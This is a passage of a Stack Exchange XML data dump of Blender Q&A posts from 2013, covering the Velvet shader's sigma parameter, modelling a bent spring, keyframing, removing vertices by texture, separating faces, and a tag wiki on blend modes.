  <row Id="2211" PostTypeId="1" AcceptedAnswerId="2212" CreationDate="2013-08-08T06:15:52.200" Score="10" ViewCount="3226" Body="&lt;p&gt;How does the &lt;em&gt;Sigma&lt;/em&gt; value of the Cycles Velvet BSDF shader work? Intuitively, it seems to serve as some sort of ceiling value for the shading. How does it affect the light bouncing? I've looked at the ray diagram on the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders&quot; rel=&quot;noreferrer&quot;&gt;shaders page&lt;/a&gt;, which seems to show an away-from-center spread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XFXmz.png&quot; alt=&quot;Velvet shader diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the sigma value related to the variance (in statistics, &lt;em&gt;&amp;sigma;&lt;/em&gt; means variance) of the spread? Comparing the diagram to that of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_distribution&quot; rel=&quot;noreferrer&quot;&gt;normal distribution&lt;/a&gt; seems to indicate that this may be the case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R3va7.png&quot; alt=&quot;Normal distribution diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would seem to mean that a &amp;sigma;-value of 0 makes the shader behave like a glossy shader, while a &amp;sigma;-value of 1 would make it behave like a diffuse shader; however, this does not appear to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've prepared &lt;a href=&quot;https://vimeo.com/71948544&quot; rel=&quot;noreferrer&quot;&gt;a video&lt;/a&gt; demonstrating a changing &amp;sigma;-value, from 0 to 1, on an actual velvety object for added realism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could one of the developers who understands what is going on identify the meaning here, mathematically or otherwise?&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-08-08T07:01:14.357" LastActivityDate="2013-08-08T12:13:38.190" Title="How exactly does the Sigma parameter affect the Velvet shader?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;&lt;terminology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="2" ParentId="2211" CreationDate="2013-08-08T07:23:24.123" Score="10" Body="&lt;p&gt;It rather seems to define the response curve towards the view angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The velvet shader makes a material look brighter the smaller the angle between the view vector and the surface tangent vector is, it's bright if you look on a surface in the tangent direction and dark if you look at it from it's surface normal direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;sigma&lt;/strong&gt;=0, you seem to have to look at a surface perfectly in tangential direction to receive light, while higher values spread it across a wider range of angles so that with &lt;strong&gt;sigma&lt;/strong&gt;=1, the distribution goes all the way to a normal view angle and is relatively even.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="241" LastEditDate="2013-08-08T12:13:38.190" LastActivityDate="2013-08-08T12:13:38.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2213" PostTypeId="2" ParentId="2146" CreationDate="2013-08-08T07:35:57.147" Score="7" Body="&lt;p&gt;If you only want to bend it in one direction, putting a simple deform modifier after a screw modifier would probably be the easiest solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise: Screw modifier (360°, Scren ~5, Steps &gt;10, Iterations &gt;5), below it a SimpleDeform modifier set to &quot;Bend&quot;, the angle that you want your spring to be bent and a controlling Empty that is oriented to define the bending axis (Z axis of the empty defines the rotation axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dq3ni.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2015-06-06T13:07:34.843" LastActivityDate="2015-06-06T13:07:34.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2214" PostTypeId="2" ParentId="62" CreationDate="2013-08-08T07:44:52.560" Score="7" Body="&lt;p&gt;You should also keep in mind that removing doubles always involves a merge distance, and that merge distance is relative to the object space, not the global space. So if you accidentally scaled the object to be really big and are then working on small detail, this feature might actually kill geometry that you carefully modeled because the distance between two points in your geometry is, relative to the object size, below the merge value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, the tool can sometimes actually be used to reduce complexity quite effectively, for example if you want to delete all loops that are close together, and without creating triangles where you wanted to preserve quads.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-08-08T07:44:52.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostTypeId="2" ParentId="176" CreationDate="2013-08-08T07:52:24.137" Score="12" Body="&lt;p&gt;If you want to do this often and want to be even faster, you can also always just press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; (as in &quot;Insert Keyframe&quot;) while your mouse is over basically any value field/button/dropdown/selector/... in Blender and it will insert a keyframe for your current frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to remove it again.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="2173" LastEditDate="2014-04-18T14:01:08.843" LastActivityDate="2014-04-18T14:01:08.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostTypeId="2" ParentId="2146" CreationDate="2013-08-08T09:37:07.293" Score="24" Body="&lt;p&gt;You're going to have to abandon the method used in that tutorial if you want a bent spring that looks natural. Using a lattice will not preserve its volume. Just the same, using a curve deformer on the final spring will also not preserve the volume — even if you try to get smart and use nothing but curves. I tried it! It doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x621L.png&quot; alt=&quot;Don&amp;#39;t do this.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the 5-minute walk-through of my method:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make an 8-sided circle.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K9p0o.png&quot; alt=&quot;8-sided circle&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one vertex. Press &lt;kbd&gt;V&lt;/kbd&gt; to rip it from the rest of the circle. Right click or press &lt;kbd&gt;Esc&lt;/kbd&gt; to cancel the transform. You should now have a &quot;belt loop&quot; that looks like a circle, but is disconnected at one point.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/APqgn.png&quot; alt=&quot;rip&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of the ends, turn on proportional editing in the &quot;connected&quot; mode, and set the falloff curve to &quot;linear&quot;. &lt;img src=&quot;https://i.stack.imgur.com/PNeah.png&quot; alt=&quot;proportional edit&quot;&gt; Press &lt;kbd&gt;G&lt;/kbd&gt; to grab, press &lt;kbd&gt;Z&lt;/kbd&gt; to lock it in the upward direction and viola! You are now stretching your spring! (Note: you need to scroll up until the proportion is greater than the circumference of the octagon. You want the bottom point to leave the floor. This is good because it means you linearly affected all the points.)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VKRQk.png&quot; alt=&quot;Stretching the Spring&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Array modifier with &quot;Merge&quot; turned on, and &quot;1&quot; unit in the Z of the Relative Offset section.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nIRsl.png&quot; alt=&quot;Array modifier added&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Subsurf modifier with the setting at 1. This turns the octagon shape into a circle shape.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/31Uza.png&quot; alt=&quot;subsurf modifier #1 added&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your bezier curve and the curve modifier to the spring. For smoothest results, I set my modifier to affect &quot;Z&quot;. Of course make sure that the spring object and curve object share the same location and that the first point in the bezier curve is at its center point.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xAq3T.png&quot; alt=&quot;Curve modifier added&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fatten the line of points up with the new Skin modifier! While we could have used a Bevel on a 3D curve, this method ensures that the spring has no volume until after the deformation takes place resulting in perfectly uniform wire. Set the shading on the modifier to &quot;smooth&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7uLqb.png&quot; alt=&quot;Skin modifier added&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lastly, smooth the whole thing out with one last Subsurf. I like mine at a setting of 2 or higher.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Scyoq.png&quot; alt=&quot;Done!&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jNkK7.png&quot; alt=&quot;Done! (detail)&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYd3U.jpg&quot; alt=&quot;render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="240" LastEditorUserId="3078" LastEditDate="2015-06-05T18:10:27.030" LastActivityDate="2015-06-05T18:10:27.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2217" PostTypeId="2" ParentId="2206" CreationDate="2013-08-08T10:25:20.567" Score="9" Body="&lt;p&gt;This is done using the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.Sensor.html#bpy.types.Sensor.link&quot; rel=&quot;noreferrer&quot;&gt;bpy.types.Sensor.link&lt;/a&gt; method, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;sensors = obj.game.sensors&#xA;controllers = obj.game.controllers&#xA;actuators = obj.game.actuators&#xA;&#xA;bpy.ops.logic.sensor_add(type=&quot;ALWAYS&quot;, object=obj.name)&#xA;bpy.ops.logic.controller_add(type=&quot;LOGIC_AND&quot;, object=obj.name)&#xA;bpy.ops.logic.actuator_add(type=&quot;ACTION&quot;, object=obj.name)&#xA;&#xA;# Newly added logic blocks will be the last ones:&#xA;sensor = sensors[-1]&#xA;controller = controllers[-1]&#xA;actuator = actuators[-1]&#xA;&#xA;sensor.link(controller)&#xA;actuator.link(controller)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastEditorUserId="935" LastEditDate="2014-09-14T05:04:48.087" LastActivityDate="2014-09-14T05:04:48.087" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostTypeId="2" ParentId="2141" CreationDate="2013-08-08T12:56:40.227" Score="1" Body="&lt;p&gt;In rigid body simulations, external forces create two different kinds of effects on an object: linear acceleration and angular acceleration. Linear acceleration is how fast an object is moving incrementally, and angular acceleration is how fast an object is spinning incrementally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain the net external force on a single vertex or edge doesn't really make sense, because a vertex or edge doesn't have any volume and therefore doesn't have any mass. In the equation F=ma (Newton's second law of motion), solving for a, a=F/m, since a vertex or edge doesn't have any mass, the acceleration due to the force would be undefined, because you're dividing by 0. Forces have to be applied to masses. Therefore, when a rigid body is affected by a force, the force is applied throughout the entire mass, producing a linear and maybe angular acceleration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the velocity vector, you need to use cross multiply the angular velocity with the vectorial distance of the vertex from the center of mass, and then add that to the linear velocity. &lt;a href=&quot;https://physics.stackexchange.com/q/73574/3821&quot;&gt;&lt;sup&gt;(More info)&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In script, it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v = object.getLinearVelocity(False)&#xA;omega = object.getAngularVelocity(False)&#xA;r = Vector((1,1,-1)) # offset of vertex (or point) from center of mass.&#xA;&#xA;v_net = v + omega.cross(r)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you import the &lt;code&gt;Vector&lt;/code&gt; class from &lt;code&gt;mathutils&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="-1" LastEditDate="2017-04-13T12:40:18.230" LastActivityDate="2013-08-08T18:38:34.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostTypeId="1" AcceptedAnswerId="2220" CreationDate="2013-08-08T14:00:01.303" Score="7" ViewCount="1868" Body="&lt;p&gt;I have a default cube. I would like to animate it. For example I would like to make it rotate around the Y axis. I add a rotation keyframe (&lt;kbd&gt;I&lt;/kbd&gt;) at frame 0 and at the last frame I add another rotation keyframe. Then, I set the yellow &lt;em&gt;Transform Rotation Y&lt;/em&gt; field to 180&amp;deg;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And instantly, 180&amp;deg; rotation disappears and no rotation occurs when playing animation. Why does Blender erase the keyframe settings? And how should I make this work properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I am trying to go trough &lt;a href=&quot;http://www.cgmasters.net/free-tutorials/animation-in-blender-2-5/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; and my object doesn't behave in the mentioned way. When I move/rotate/scale my cube, the F-Curves are not updated. What I might be doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="717" LastEditorUserId="599" LastEditDate="2014-01-28T07:14:49.530" LastActivityDate="2015-01-21T14:35:15.520" Title="Why does blender erase transforms after inserting a keyframe?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostTypeId="2" ParentId="2219" CreationDate="2013-08-08T14:18:45.563" Score="8" Body="&lt;p&gt;The keyframe is updated with the current value at the moment you press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; or insert the keyframe. After that, the value will not be (permanently) modified any more until you press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again on that exact keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; and rotate afterwards, that rotation has no (permanent) effect and is lost as soon as you leave the keyframe. You should rotate first and insert the keyframe afterwards, or at least press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; again after rotating, basically to save the modification to the keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can insert new keyframes by pressing &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; on the 3D View and selecting the properties in the popup menu, pressing &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; on any numeric field in Blender (whether transforms or modifiers/material/constraints properties) or by right-clicking on any field and pressing Insert Keyframes (or Insert Single Keyframe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, &lt;strong&gt;if you want to update any change on the fly&lt;/strong&gt; you can enable the Automatic Keyframe insertion button on the bottom of the Timeline window. This is the common approach in character animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWfvG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;you must insert a keyframe first&lt;/strong&gt; in which properties you are going to animate. Insert that first keyframe with any of the methods above. &lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="9482" LastEditDate="2015-01-21T14:35:15.520" LastActivityDate="2015-01-21T14:35:15.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostTypeId="1" AcceptedAnswerId="2222" CreationDate="2013-08-08T16:05:19.723" Score="11" ViewCount="1566" Body="&lt;p&gt;Is there a way to apply a black and white texture to a object and remove all vertices mapped to a point where the texture is black?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to build a hollow earth globe and remove all vertices where there is land.&lt;/p&gt;&#xA;" OwnerUserId="1055" LastActivityDate="2013-08-08T18:52:57.780" Title="Remove vertices based on texture" Tags="&lt;texturing&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2222" PostTypeId="2" ParentId="2221" CreationDate="2013-08-08T16:40:31.780" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups#Creating_Vertex_Groups&quot; rel=&quot;noreferrer&quot;&gt;Create a Vertex Group&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/Vertex_Weight#Vertex_Weight_Mix_Modifier&quot; rel=&quot;noreferrer&quot;&gt;Vertex Weight Mix modifier&lt;/a&gt;.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Vertex Group A&lt;/em&gt; to the one created in the previous step.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Default Weight B&lt;/em&gt; to 1.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Mix Set&lt;/em&gt; to &lt;em&gt;All&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add your texture to &lt;em&gt;Texture Mask&lt;/em&gt; and set &lt;em&gt;Textue Coordinates&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mask&quot; rel=&quot;noreferrer&quot;&gt;Mask modifier&lt;/a&gt; and set the &lt;em&gt;Vertex Group&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/The_Stack#Interface&quot; rel=&quot;noreferrer&quot;&gt;Apply modifiers&lt;/a&gt; (optional).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kou2L.png&quot; alt=&quot;The result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="290" LastEditDate="2013-08-08T18:52:57.780" LastActivityDate="2013-08-08T18:52:57.780" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2224" PostTypeId="1" AcceptedAnswerId="2225" CreationDate="2013-08-08T18:18:59.920" Score="10" ViewCount="8100" Body="&lt;p&gt;So I am doing this tutorial from Cinema 4D, and I am trying to do it in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How am I supposed to separate the faces of an Icosphere from each other as shown in &lt;a href=&quot;http://www.cinema4dtutorial.net/?p=1293&quot;&gt;this tutorial&lt;/a&gt;? (part 1)&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="1068" LastEditDate="2013-08-08T18:40:53.907" LastActivityDate="2014-04-19T03:50:11.603" Title="How can I separate faces without the edges?" Tags="&lt;modeling&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostTypeId="2" ParentId="2224" CreationDate="2013-08-08T18:27:01.733" Score="9" Body="&lt;p&gt;You can get the same functionality with &lt;strong&gt;Extrude individual Faces&lt;/strong&gt; (the easiest way to access this function is by pressing &lt;kbd&gt;space&lt;/kbd&gt; and just typing it in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Pivot Point is set to &lt;strong&gt;Individual Origins&lt;/strong&gt; and you are in &lt;strong&gt;Face select mode&lt;/strong&gt;, you can then also scale the individual faces down independantly with &lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;Select&lt;/strong&gt; &gt; &lt;strong&gt;Inverse&lt;/strong&gt; and &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;strong&gt;Faces&lt;/strong&gt;, you can delete everything in-between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;img src=&quot;https://i.stack.imgur.com/Jbbfw.png&quot; alt=&quot;Step-by-step result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-08-08T18:47:26.217" LastActivityDate="2013-08-08T18:47:26.217" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostTypeId="2" ParentId="2224" CreationDate="2013-08-08T18:30:43.660" Score="4" Body="&lt;p&gt;You can duplicate this functionality using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Inset&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;inset tool&lt;/em&gt;&lt;/a&gt; (&lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; in &lt;em&gt;Edit mode&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; twice to inset and enable &lt;em&gt;individual&lt;/em&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FXtli.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SbAwq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Delete&lt;/kbd&gt; and select &lt;em&gt;Faces&lt;/em&gt;:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4Es2j.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NBnXA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2173" LastEditDate="2014-04-19T03:50:11.603" LastActivityDate="2014-04-19T03:50:11.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2227" PostTypeId="2" ParentId="2224" CreationDate="2013-08-08T18:31:42.357" Score="4" Body="&lt;p&gt;There is a (kind of) hidden tool in &lt;em&gt;Edit Mode&lt;/em&gt; called &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Edges#Edge_Split&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Edge Split&lt;/em&gt;&lt;/a&gt; (different from the modifier). You can search for it with &lt;kbd&gt;Space&lt;/kbd&gt; or access it via the &lt;em&gt;Edge Specials Menu&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;). It will split each selected face along it's edge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;By Loose Parts&lt;/em&gt; to make each face a separate object.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-08-08T20:47:55.890" LastActivityDate="2013-08-08T20:47:55.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostTypeId="1" AcceptedAnswerId="2283" CreationDate="2013-08-08T20:03:32.390" Score="7" ViewCount="3356" Body="&lt;p&gt;Is it possible to convert the output of a cycles &lt;em&gt;Shader node&lt;/em&gt; to colors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example to use an ambient occlusion shader output to multiply or darken act as a mix factor between other shaders?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-08-09T00:49:57.870" LastActivityDate="2013-08-10T17:15:55.783" Title="Convert cycles closure (shader) output to colors?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostTypeId="2" ParentId="2229" CreationDate="2013-08-08T20:06:16.273" Score="6" Body="&lt;p&gt;&lt;strong&gt;The simple yet unsatisfying answer is: No. It's not possible.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Verified by a Blender developer, I had the same question a while back)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Followup explanation:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It would be possible to implement such a feature if cycles would render a second pass, meaning that it would render a complete image with the base shader and then re-render everything on the basis of the result of the first pass. Both passes would have to be noise-free, so this would effectively double the render time for each such connection that you use. And that doesn't take into account that a ray may bounce back and forth several times between two objects, and in theory, you would have to compute a new image for every single bounce then, as the result of every bounce is influenced by the previous one and needs a full pre-computed first pass of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this for the full depth of possible bounces is impossible. Doing it only for the first bounce is against the concept of Cycles as an engine that renders continuously instead of in steps or with pre-computing anything. After all, Cycles also has to work in realtime, and that would be impossible to implement because there, you can't wait for two noise-free passes to compute for a usable result.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="1068" LastEditDate="2013-08-10T17:15:55.783" LastActivityDate="2013-08-10T17:15:55.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostTypeId="1" AcceptedAnswerId="2235" CreationDate="2013-08-08T20:34:44.450" Score="4" ViewCount="3315" Body="&lt;p&gt;Prompted by my &lt;a href=&quot;https://blender.stackexchange.com/questions/2229/convert-cycles-closure-shader-output-to-colors&quot;&gt;previous question&lt;/a&gt;, I am wondering if (since there is no apparent way to convert a shader to color) there is &lt;strong&gt;any&lt;/strong&gt; (even using  post processing) way to mix cycles shaders with blend modes besides &lt;em&gt;Add&lt;/em&gt; and &lt;em&gt;Mix&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2013-08-09T16:31:21.313" Title="Mix shaders with blend modes besides Add and Mix?" Tags="&lt;cycles-render-engine&gt;&lt;blend-modes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2232" PostTypeId="5" CreationDate="2013-08-08T20:39:16.957" Score="0" Body="&lt;p&gt;A &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Blend_modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend mode&lt;/a&gt;&lt;/strong&gt; is a method for combining two colors. You can use a blend mode to blend a single pair of colors or two entire images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, a blend mode is a mathematical function that takes two color arguments and outputs a new, blended color argument. Examples of blend modes include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Add&lt;/em&gt; blend mode, which simply adds the color channels. This has the effect of making colors appear lighter, as the resulting color is closer to white than the original colors (or equal, if one color is black). The &lt;em&gt;Add&lt;/em&gt; blend mode can easily cause colors to clip past white. Mathematically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HtYb8.png&quot; alt=&quot;Add blend mode mathematical formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Special values for the &lt;em&gt;Add&lt;/em&gt; blend mode: black has no effect (adding zero); white produces white (adding one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inverse of the &lt;em&gt;Add&lt;/em&gt; blend mode is the (rarely-used) &lt;em&gt;Subtract&lt;/em&gt; blend mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Multiply&lt;/em&gt; blend mode, which simply multiplies the color channels. This has the effect of making colors appear darker, because color channels are measured on the interval &lt;img src=&quot;https://i.stack.imgur.com/v83wz.png&quot; alt=&quot;closed interval from zero to one&quot;&gt;, and multiplying any two numbers on that interval will always produce a number closer to zero than the original (or equal, if one number is &lt;em&gt;1&lt;/em&gt;). Mathematically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oto1d.png&quot; alt=&quot;Multiply blend mode mathematical formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Special values for the &lt;em&gt;Multiply&lt;/em&gt; blend mode: white has no effect (multiplying by one); black produces black (multiplying by zero).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inverse of the &lt;em&gt;Multiply&lt;/em&gt; blend mode is the &lt;em&gt;Screen&lt;/em&gt; blend mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;em&gt;Screen&lt;/em&gt; blend mode, which inverts the images and then multiplies them, before finally inverting them again. The result is a lighter image, for the same reason that &lt;em&gt;Multiply&lt;/em&gt; is darker, but then the image is inverted, so it will be lighter. Mathematically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img 